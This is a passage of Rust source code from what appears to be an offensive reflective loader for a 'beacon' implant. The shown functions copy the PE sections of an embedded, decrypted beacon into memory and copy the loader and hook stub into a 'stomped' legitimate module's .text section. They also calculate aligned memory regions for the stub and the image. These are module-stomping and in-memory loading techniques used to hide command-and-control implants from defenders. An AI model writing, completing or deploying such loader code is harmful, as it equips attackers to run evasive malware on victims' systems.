for i in 0..num_sections {
|
|
let section = first_section.add(i);
|
|
let destination = map.add((*section).VirtualAddress as usize);
|
|
let source = (reg.dos as usize + (*section).PointerToRawData as usize) as *const u8;
|
|
let raw_size = (*section).SizeOfRawData as usize;
|
|
if raw_size > 0 {
|
|
memcopy(destination, source, raw_size as u32);
|
|
}
|
|
}
|
|
map as PVOID
|
|
}
|
|
|
|
/// Copies the stub region (STUB metadata + loader + hooks) to the stomped module.
|
|
///
|
|
/// The stub spans from `StubAddr()` to `G_END()` and contains:
|
|
/// - STUB metadata structure (filled later by `fill_stub`)
|
|
/// - Loader code (.text$B section)
|
|
/// - Hook code (.text$D section)
|
|
///
|
|
/// # Arguments
|
|
///
|
|
/// * `buffer` - Destination address in the stomped module's .text section
|
|
#[link_section = ".text$B"]
|
|
pub unsafe fn copy_stub(buffer: PVOID) {
|
|
let destination = buffer as *mut u8;
|
|
let source = StubAddr() as *const u8;
|
|
let length = (G_END() - StubAddr()) as usize;
|
|
|
|
// Copy the stub (loader + hooks) contiguously
|
|
memcopy(destination, source, length as u32);
|
|
}
|
|
|
|
/// Region calculation results for loader memory layout.
|
|
///
|
|
/// # Purpose
|
|
///
|
|
/// Stores calculated sizes and pointers for the loader's memory allocation.
|
|
/// All sizes are aligned to 4KB page boundaries for Windows memory management.
|
|
///
|
|
/// # Memory Layout
|
|
///
|
|
/// ```text
|
|
/// [Stub exec region ][Beacon PE image ]
|
|
/// |<---- exec ------->||<-- full - exec ----->|
|
|
/// | || |
|
|
/// buffer map buffer+full
|
|
/// ```
|
|
///
|
|
/// # Fields
|
|
///
|
|
/// * `exec` - Size of stub executable region (loader + hooks), 4KB-aligned
|
|
/// * `full` - Total size (stub + beacon image), 4KB-aligned
|
|
/// * `nt` - Pointer to beacon's NT headers in the embedded file
|
|
/// * `dos` - Pointer to beacon's DOS header in the embedded file
|
|
#[repr(C)]
|
|
pub struct Reg {
|
|
/// Aligned stub size (exec region) in bytes, 4KB-aligned.
|
|
exec: SIZE_T,
|
|
|
|
/// Total aligned size for stub + beacon, 4KB-aligned.
|
|
full: SIZE_T,
|
|
|
|
/// Pointer to beacon NT headers in the embedded file image.
|
|
nt: *mut IMAGE_NT_HEADERS,
|
|
|
|
/// Pointer to beacon DOS header in the embedded file image.
|
|
dos: *mut IMAGE_DOS_HEADER,
|
|
}
|
|
|
|
/// Calculate stub size (exec) and total size (exec+image) for memory allocation.
|
|
///
|
|
/// This function calculates memory layout sizes based on the decrypted beacon's
|
|
/// PE headers (already set in reg.dos and reg.nt from the temp decrypt buffer).
|
|
/// Aligns sizes to 4KB pages for Windows memory management.
|
|
#[link_section = ".text$B"]
|
|
unsafe fn calculate_regions(reg: &mut Reg) {
|
|
// Step 1: Get stub size (from start to end of CONFIG)
|
|
let stub_start = StubAddr();
|
|
let stub_end = G_END().wrapping_add(core::mem::size_of::<Config>());
|
|
let stub_size = stub_end - stub_start;
|
|
|
|
// Step 2: Get beacon image size from PE headers (from decrypted temp buffer)
|
|
let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize;
|
|
|
|
// Step 3: Align to 4K boundaries (WinPE defaults)
|
|
let align4k = |v: usize| (v + 0xFFF) & !0xFFF;
|
|
let exec_aligned = align4k(stub_size);
|
|
let image_aligned = align4k(size_of_image);
|
|
|
|
reg.exec = exec_aligned as SIZE_T;
|
|
reg.full = (exec_aligned + image_aligned) as SIZE_T;
|
|
}
|